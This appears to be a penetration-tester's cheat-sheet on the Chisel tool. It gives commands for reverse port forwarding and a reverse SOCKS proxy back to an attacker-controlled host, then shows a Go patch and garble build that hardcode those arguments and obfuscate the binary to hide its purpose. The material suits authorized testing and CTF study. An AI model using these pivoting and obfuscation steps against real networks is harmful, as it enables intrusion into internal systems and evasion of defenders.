It can help redirect traffic to otherwise unreachable end-points.
Client
chisel.exe client <server> R:<port-to-forward>:<server-listening-ip-port>
chisel.exe client 10.10.14.10:8000 R:445:127.0.0.1:445
Server
chisel server -p 8000 --reverse
Client
chisel.exe client 10.10.14.3:8000 R:socks
Server
chisel server -p 8000 --socks5 --reverse
var cmdlineArgs string //add
func main() {
cmdArgs := strings.Split(cmdlineArgs, " ") //add
os.Args = append(os.Args, cmdArgs...) //add
Client
GOOS=linux garble -literals -seed=random -tiny build -trimpath -ldflags "-s -w -X 'main.cmdlineArgs=client 192.168.2.200:8080 R:socks'"
https://github.com/jpillora/chisel https://medium.com/geekculture/chisel-network-tunneling-on-steroids-a28e6273c683